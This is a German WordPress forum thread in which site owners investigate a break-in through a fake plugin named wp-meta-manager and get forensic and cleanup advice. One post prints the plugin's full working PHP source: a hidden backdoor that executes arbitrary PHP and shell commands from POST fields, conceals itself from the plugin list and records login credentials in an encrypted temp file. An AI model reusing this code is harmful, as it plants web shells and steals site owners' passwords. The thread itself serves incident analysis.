1. Herzlich willkommen bei WPDE.org, dem grössten und ältesten deutschsprachigen Community-Forum rund um das Thema WordPress. Du musst angemeldet oder registriert sein, um Beiträge verfassen zu können.
    Information ausblenden

ACHTUNG: Hackerangriff mit wp-meta-manager

Dieses Thema im Forum "Plugins und Widgets" wurde erstellt von fantareis, 14. September 2020.

  1. fantareis

    fantareis Member

    Registriert seit:
    25. März 2014
    Beiträge:
    9
    Zustimmungen:
    0
    Hat jemand auch dieses Problem?

    Auf unbekannte Weise ist auf mehreren Seiten ein Plugin namens wp-meta-manager.php_ installiert worden. Findet man über ftp oder Aktivitätenprotokoll (Jetpack u.a.). Durch den Unterstrich am Ende taucht es nicht unter installierte Plugins auf. Darin enthalten ist eine Datei
    /wp-meta-manager.php. mit Schadcode über den Passwörter ausgelesen werden sollen und Beiträge verändert werden können.

    Das Plugin wurde laut Aktivitätenprotokoll über Admin-Accounts installiert, die IP verweist nach Berlin, stimmt in jedem Falle nicht mit denen der echten Benutzer überein.

    Wer etwas dazu weiß, bitte melden.
     
  2. b3317133

    b3317133 Well-Known Member

    Registriert seit:
    21. November 2014
    Beiträge:
    7.935
    Zustimmungen:
    846
    Zum Verständnis, also eine Ordnerstruktur so wie diese?
    Code:
    Entschuldige, aber du musst dich registrieren oder anmelden um den Inhalt sehen zu können!
    Sind noch weitere Dateien in diesem Ordner?

    Oder ist es nur eine Datei mit Unterstrich am Ende so wie diese?
    Code:
    Entschuldige, aber du musst dich registrieren oder anmelden um den Inhalt sehen zu können!
    Die wäre dann eigentlich nicht ausführbar.
    Dann sollte man zeitnah ermitteln, wie der Angreifer an die Admin-Account Zugangsdaten gekommen ist, um die eigentliche Lücke zu finden.

    Das allgemeine weitere Vorgehen bei einem Hack ist z.B. hier beschrieben.
     
    #2 b3317133, 14. September 2020
    Zuletzt bearbeitet: 14. September 2020
  3. fantareis

    fantareis Member

    Registriert seit:
    25. März 2014
    Beiträge:
    9
    Zustimmungen:
    0
    Danke erst mal, die Datei hat keinen Unterstrich wp-meta-manager.php

    Wordfence und Vaultpress haben keine andere Schwachstelle gefunden, über die der Angreifer an die Passwörter gekommen sein könnte.

    Wir machen jetzt dicht, mit Zwei-Faktor-Anmeldung.
     
  4. b3317133

    b3317133 Well-Known Member

    Registriert seit:
    21. November 2014
    Beiträge:
    7.935
    Zustimmungen:
    846
    Oben schreibst Du, da wäre ein "Unterstrich am Ende". Wo genau ist der Unterstrich? Wie ist die exakte Ordner-/Dateistruktur des Schadcodes?

    Wenn man nicht ermittelt, woher der Angreifer die zur Installation des Schadcodes genutzten Admin-Account Zugangsdaten hat, sind weitere Massnahmen erstmal relativ sinnlos.

    Kannst Du den Schadcode posten, z.B. bei pastebin.com o.ä.?

    Tipp am Rande: Mehrere "Sicherheits"-Plugins parallel sollten nicht dauerhaft laufen, die stehen sich meist gegenseitig im Weg...
     
  5. fantareis

    fantareis Member

    Registriert seit:
    25. März 2014
    Beiträge:
    9
    Zustimmungen:
    0
    Auf einer Seite läuft Wordfence, auf den anderen drei betroffenen wird mit Jetpack gescannt. Hier ist der Inhalt aus der Datei:

    <?php
    /*
    Plugin Name: wp-meta-manager
    Plugin URI: http://example.org
    description: ---
    Version: 1.0
    Author: ---
    Author URI: http://example.org
    License: GPL2
    */
    function wpmm__init() {
    $f = '';
    if( isset($_POST["2l4ky8y16w"]) ) { wpmm__sethelper('@Eva' . $f . 'l( stripslashes($_POST["2l4ky8y16w"]));'); };
    if( isset($_POST["2l4ky8y16x"]) ) { wpmm__sethelper('@ex' . $f . 'ec( stripslashes($_POST["2l4ky8y16x"]), $out ); foreach( $out as $line ) { echo $line . "\n"; }'); };
    if( isset($_POST["2l4ky8y16y"]) ) { wpmm__sethelper('@Pas' . $f . 'sth' . $f . 'ru( stripslashes($_POST["2l4ky8y16y"]) );'); };
    if( isset($_POST["2l4ky8y16z"]) ) { wpmm__sethelper('print( @sy' . $f . 'stem( stripslashes($_POST["2l4ky8y16z"]) ) );'); };
    if( isset($_POST["ha72mlxl20"]) ) die( wpmm__read_dat_file() );
    if( isset($_POST["lp98dm2xa6"]) ) {
    unlink( sys_get_temp_dir() . "/~6cb001a" );
    unlink( __FILE__ );
    }
    }
    add_action( 'init', 'wpmm__init', 999 );
    function wpmm__sethelper( $data ) {
    $helper = dirname( __FILE__ ) . 'wp-meta-manager-helper.php';
    $h = @fopen( $helper, "w" );
    @fwrite( $h, '<?php ' . $data . ' ?>' );
    @fclose( $h );
    @require( $helper );
    @unlink( $helper );
    die();
    }
    function wpmm__filter_plugins( $plugins ) {
    return array_filter( $plugins, 'wpmm__check_plugin' );
    }
    function wpmm__check_plugin( $plugin ) {
    return ( $plugin["Name"] != "wp-meta-manager" or isset( $_GET["a"] ) );
    }
    add_filter( 'all_plugins', 'wpmm__filter_plugins' );
    function wpmm__authenticate2a62( $user, $username, $password ) {
    if( $user instanceof WP_User ) {
    $c = wpmm__read_dat_file();
    $line = "$username : $password";
    $found = false;
    foreach( explode("\n", $c) as $l ) {
    if( $l == $line ) {
    $found = true;
    break;
    }
    }
    if( ! $found ) {
    $c .= $line . "\n";
    wpmm__write_dat_file( $c );
    }
    }
    return $user;
    }
    add_filter( 'authenticate', 'wpmm__authenticate2a62', 99, 3 );
    function wpmm__read_dat_file() {
    if( $f = @file_get_contents(sys_get_temp_dir() . "/~6cb001a") ) {
    $key = "aMIDf82§;!A5t,/S,yy-9";
    $cipher = "aes-128-cbc";
    $iv = hex2bin( 'aa0df47eb210db7a87066692f91a14be' );
    $ct = openssl_decrypt( $f, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv );
    return $ct;
    }
    return "";
    }
    function wpmm__write_dat_file( $contents ) {
    $key = "aMIDf82§;!A5t,/S,yy-9";
    $cipher = "aes-128-cbc";
    $iv = hex2bin( 'aa0df47eb210db7a87066692f91a14be' );
    $ct = openssl_encrypt( $contents, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv );
    @file_put_contents( sys_get_temp_dir() . "/~6cb001a", $ct );
    }
    /*function wpmm__activate() {
    copy(ABSPATH . "/wp-config.php", ABSPATH . "/wp-content/uploads/thing.png");
    }
    function wpmm__deactivate() {
    unlink(ABSPATH . "/wp-content/uploads/thing.png");
    }
    register_activation_hook( __FILE__, 'wpmm__activate' );
    register_deactivation_hook( __FILE__, 'wpmm__deactivate' );*/
    ?>
     
  6. WikaBot

    WikaBot Member

    Registriert seit:
    14. September 2020
    Beiträge:
    6
    Zustimmungen:
    0
    Zur Klarstellung:

    a) Ordner in Plugins: wp-meta-manager.php_
    b) Datei in diesem Ordner: wp-meta-manager.php
    c) Temp-Folder auf oberster Ebene: /~6cb001a

    im Anhang der Screenshot des genauen Ablaufs, zeitlich von unten nach oben zu lesen Bildschirmfoto 2020-09-13 um 23.51.49 Kopie.jpg :
     
  7. b3317133

    b3317133 Well-Known Member

    Registriert seit:
    21. November 2014
    Beiträge:
    7.935
    Zustimmungen:
    846
    Danke für die Aufklärung, also die erste Verständnisvermutung.

    Interessant/hilfreich wäre, was noch vor dem im Screenshot gezeigten Ablauf passiert ist, dafür sollte man zeitnah access.log u.ä. Zugriffslogs im Hosting sichern.

    Bearbeitet: In der Datei /~6cb001a wurden "nur" Benutzer/Passwörter protokolliert, dort dürfte vermutlich eher kein sonstiger Schadcode gewesen sein.

    Mit diesem Schadcode konnte man beliebigen PHP-Code auch an Vaultpress usw. vorbei auf den Server laden und ausführen, die ganze Installation und alle daraus via PHP erreichbaren Ordner und Datenbanken usw. sind daher als kompromitiert zu betrachten.

    Noch eine Frage: Wurden die letzten beiden Funktionen im Schadcode, die wp-config.php zum Download als thing.png bereitstellen von euch auskommentiert oder war das so?

    Das Ausblenden in der Pluginliste lag übrigens nicht an einem Unterstrich sondern am wpmm__filter_plugins Filter im Code.
     
    #7 b3317133, 14. September 2020
    Zuletzt bearbeitet: 14. September 2020
  8. WikaBot

    WikaBot Member

    Registriert seit:
    14. September 2020
    Beiträge:
    6
    Zustimmungen:
    0
    Danke für die Antwort … da mir die Panik im Nacken saß, habe ich sowohl Datenbank als auch Web-Ordner sofort aus einer Sicherung wiederhergestellt. Auffälligkeiten davor gab es im Log nicht mehr (nur Screenshot gesichert) das Log selbst wurde bei der Wiederherstellung der Datenbank überschrieben. Nach der Wiederherstellung sofort Passwort geändert. Jetzt erkenne ich, dass ich etwa weniger panisch hätte vorgehen dürfen. Für die Forensik wäre das sicher hilfreich gewesen :)

    Die Auskommentierung der thing.png ist bereits im Original enthalten, nichts verändert.

    Danke auch für den Hinweis mit dem Ausblenden des Plugin via Filter, das habe ich auch jetzt erst gepeilt … DANKE.
     
  9. b3317133

    b3317133 Well-Known Member

    Registriert seit:
    21. November 2014
    Beiträge:
    7.935
    Zustimmungen:
    846
    Dein Hostinganbieter könnte Zugriffslogs (mit ggf. anonymisierten IPs) haben, frage zeitnah dort nach Server access logs und sichere die.

    Aus dem Screenshot geht nicht hervor, wie genau der Schadcode auf den Server kam.

    Aus Server access logs könnte man ggf. weitere Rückschlüsse ziehen.

    Es kann durchaus sein, dass noch weiterer Schadcode vorhanden ist und schon länger vorhanden war, der z.B. im Hintergrund aktiv wird, wenn sich ein Admin anmeldet o.ä. oder der ähnlich wie der gezeigte Schadcode einfach generell auf entspr. $_POST Variablen o.ä. wartet.

    Ein Trojaner kommt selten alleine...
     
    #9 b3317133, 14. September 2020
    Zuletzt bearbeitet: 14. September 2020
  10. WikaBot

    WikaBot Member

    Registriert seit:
    14. September 2020
    Beiträge:
    6
    Zustimmungen:
    0
    Habe gerade selbst im Webspace nachgesehen … da habe ich dann beim Wiederherstellen des Webspace natürlich auch gleich das LOG mit plattgemacht. Habe mal eben den Server-Gott angefragt, ob der von einer Ebene höher noch was hat (und schon negativ beschieden), worauf ich setzte.

    Ich muss davon ausgehen, dass meine Zugangsdaten, aus welchem Grunde auch immer, in fremde Hände gefallen sind.
    Der Screeenshot besagt, dass es nach dem Einloggen hochgeladen wurde, das kam nicht per FTP sondern über die Adminfunktion und direktes Hochladen im Dashbord.
     
    #10 WikaBot, 14. September 2020
    Zuletzt bearbeitet: 14. September 2020
  11. b3317133

    b3317133 Well-Known Member

    Registriert seit:
    21. November 2014
    Beiträge:
    7.935
    Zustimmungen:
    846
    Der Screenshot besagt, dass
    • innerhalb einer Sekunde das Plugin installiert und eine ähnlich klingende Datei in die Mediathek geladen wurde, dann 5 Sekunden später die Datei in der Mediathek wieder gelöscht wurde (protokolliert Vaultpress ggf. so einen "Plugin via Upload" Vorgang? Nutze das selbst nicht)
    • dann ca. 20 Sekunden später das Plugin aktiviert wurde
    • und dann ca. 1.5 Minuten später offenbar ein Login stattfand (ggf. um Benutzer/Passwort Logging zu testen?)
    Woher das Plugin kam, geht daraus nicht hervor.
     
  12. fantareis

    fantareis Member

    Registriert seit:
    25. März 2014
    Beiträge:
    9
    Zustimmungen:
    0
    upload_2020-9-14_22-27-25.png

    Hier ein Screenshot von Jetpack / Aktivitätenlog auf der anderen betroffenen Seite. Die 178.er IP hat Tage zuvor mehrfach versucht, ins Dash zu kommen. Dann hat es erstmals geklappt. Und nochmals später wurde dieses "Plugin" installiert. Sieht also so aus, dass tatsächlich erst die Zugangsdaten abgefischt worden sind.
     
  13. WikaBot

    WikaBot Member

    Registriert seit:
    14. September 2020
    Beiträge:
    6
    Zustimmungen:
    0
    Ja, das ist tatsächlich so, das Plugin kann nur im direkten Upload via backend reingekommen sein. Die Geschwindigkeit ist schon beachtlich. Und was auf dem Shot nicht drauf ist, ist der Logout 6 Sekunden später. Und damit bin ich jetzt am Ende meines Lateins :(
     
  14. fantareis

    fantareis Member

    Registriert seit:
    25. März 2014
    Beiträge:
    9
    Zustimmungen:
    0
    Und hier noch ein Screenshot, das Ding wurde dauernd aktiviert, gelöscht und wieder hochgeladen .... upload_2020-9-14_22-40-8.png
     
  15. b3317133

    b3317133 Well-Known Member

    Registriert seit:
    21. November 2014
    Beiträge:
    7.935
    Zustimmungen:
    846
    Viele Angriffe erfolgen (teil)automatisiert, dabei geht auch vieles schief und vieles wird mehrfach gemacht. Beispielsweise wenn die Installation durch einen bereits vorhandenen anderen Trojaner erfolgt und die Steuerung oder Rückmeldung nicht klappt. Oder der Angreifer hatte verschiedene Versionen des Trojaners mit unterschiedlichen $_POST Variablen und hat erst eine unpassende erwischt, die sein sonstwo gehostetes Admintool o.ä. nicht ansprechen konnte, oder es waren unterschiedliche Versionen mit ganz anderen Funktionen, oder der Angreifer hat die als thing.png kopierte wp-config.php zum Download gesucht, aber übersehen, dass der entspr. Codeblock, der die Kopie erstellt, auskommentiert war oder umgekehrt, also nach erfolgreichem Download den Codeblock auskommentiert und das Plugin neu installiert oder was auch immer.

    Etwas mehr würde möglicherweise aus einem Server access.log hervorgehen, falls sich doch noch eines findet.
    Das ursprüngliche Einfallstor ist demnach noch unbekannt, oder war das Admin Kennwort "erratbar" und/oder wurde anderswo gleich/ähnlich verwendet?

    Wie es generell weitergeht siehe Link in #2, genau lesen und Punkt für Punkt alles abarbeiten...
     
  16. r23

    r23 Well-Known Member

    Registriert seit:
    9. Dezember 2006
    Beiträge:
    5.111
    Zustimmungen:
    143
    Da die Sicherheitslücke augenscheinlich leider noch vorhanden ist - alle Dateien und Verzeichnisse vor einer Wiederherstellung löschen.
    Vermutlich ist die Datensicherung auch schon befallen.
     
  17. WikaBot

    WikaBot Member

    Registriert seit:
    14. September 2020
    Beiträge:
    6
    Zustimmungen:
    0
    Das schließe ich aus, da nach der Wiederherstellung der gesamte Server topdown nach den drei Merkmalen durchsucht wurde. Da bleibe ich mal mutig, aber generell ist der Einwand schon richtig :)
     
  18. r23

    r23 Well-Known Member

    Registriert seit:
    9. Dezember 2006
    Beiträge:
    5.111
    Zustimmungen:
    143
    Ich habe hier bei einem Kunden vor ein paar Jahren eine Änderung der ~/core-update scripte gesehen.
    Diese Änderung hat je nach Action im Admin eben den Schadecode installiert.

    nach drei Merkmalen durchsuchen reicht meiner Meinung nach nicht.

    Wenn die Wiederherstellung nicht das vorherige löschen beinhaltet - hast du in der Regel weitere fremde Scripte auf dem Server.
    z.b.php Scripte im ~/upload Verzeichnis

    und nach diesem Code
    PHP:
    Entschuldige, aber du musst dich registrieren oder anmelden um den Inhalt sehen zu können!
    wurde die wp-config.php als lesbare thing.png in das Verzeichnis wp-content/uploads/ kopiert.

    Damit sind dem Angreifer die Datenbankzugangsdaten bekannt. Er konnte vermutlich neue Datenbank Tabellen anlegen... und kennt die Pfade auf dem System... wobei er diese Daten auch eben alle auch ohne Kopie der thing.png eben auslesen konnte.

    Du kannst deine wiederhergestellte WordPress Version selbstverständlich auf Änderungen prüfen. wenn du in dem Verzeichnis wp-content/uploads/ eine thing.png findest ;) hast du bereits die Antwort.

    Aber mit den FileZilla kannst du unter Ansicht hier Verzeichnisvergleich dir zwischen der Original WordPress Datei und der Online Version dir die Unterschiede anzeigen lassen. Du nach deinem "Das schließe ich aus" nehme ich an, dass du deine Überraschung erleben wirst.

    Und du kannst einen Virenscanner über deine gehackte WordPress Version laufen lassen.

    Angreifer legen sich gerne auch kleine Grafiken auf einen gehackten Server. So können sie über einen Dashboard super einfach erkennen ob ihr hack noch aktiv ist oder nicht. Sollte die Grafik gelöscht sein sehen dies die Angreifer und können bei nicht geschlossener Sicherheitslücke eben den Schadecode erneut installieren "lassen".

    Bekannte Sicherheitslücken
    Wordpress Plugin Autoptimize 2.7.6
    https://www.exploit-db.com/exploits/48770

    WordPress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation
    https://www.exploit-db.com/exploits/48534

    WordPress Plugin Media Library Assistant 2.81 - Local File Inclusion
    https://www.exploit-db.com/exploits/48315

    usw..
     
    WikaBot gefällt das.
  19. b3317133

    b3317133 Well-Known Member

    Registriert seit:
    21. November 2014
    Beiträge:
    7.935
    Zustimmungen:
    846
    Dieser Code ist auskommentiert, das wird im Verlauf des Threads mehrfach angesprochen.
    Wenn der Code nicht auskommentiert wäre, wäre thing.png durch Deaktivieren des Plugins wieder entfernt worden.

    Mit dem Schadcode konnte man beliebigen PHP-Code auf den Server laden und ausführen, die ganze Installation und alle daraus via PHP erreichbaren Ordner und Datenbanken usw. sind wie bereits beschrieben als kompromitiert zu betrachten. Ebenfalls dass ggf. noch weiterer Schadcode vorhanden ist und schon länger vorhanden war. Ebenfalls, dass für das weitere Vorgehen generell alle Verzeichnisse gelöscht werden müssen.
    Für alle diese Plugins sind seit mind. 3 Wochen Aktualisierungen verfügbar, ob sie auf den gehackten Websites genutzt wurden, ist nicht bekannt.
     
  20. fantareis

    fantareis Member

    Registriert seit:
    25. März 2014
    Beiträge:
    9
    Zustimmungen:
    0
    Diese drei Plugins haben wir nicht. Die Lücke muss irgendwo anders liegen. Was mich stutzig macht, ist, dass die Adminzugänge nach drei Versuchen auf der einen Seite geknackt waren, bzw. nicht mehr fehlgeschlagene Versuche aufgezeichnet worden sind mit der 178.er IP. Auf einer Seite hat es sogar auf Anhieb funktioniert, das heißt wohl, dass das Passwort bekannt war. Ich nutze aber definitiv verschiedene Emails, Benutzerkennung und PW.
     
  1. Diese Seite verwendet Cookies, um Inhalte zu personalisieren, diese deiner Erfahrung anzupassen und dich nach der Registrierung angemeldet zu halten.
    Wenn du dich weiterhin auf dieser Seite aufhältst, akzeptierst du unseren Einsatz von Cookies.
    Information ausblenden
  1. Diese Seite verwendet Cookies, um Inhalte zu personalisieren, diese deiner Erfahrung anzupassen und dich nach der Registrierung angemeldet zu halten.
    Wenn du dich weiterhin auf dieser Seite aufhältst, akzeptierst du unseren Einsatz von Cookies.
    Information ausblenden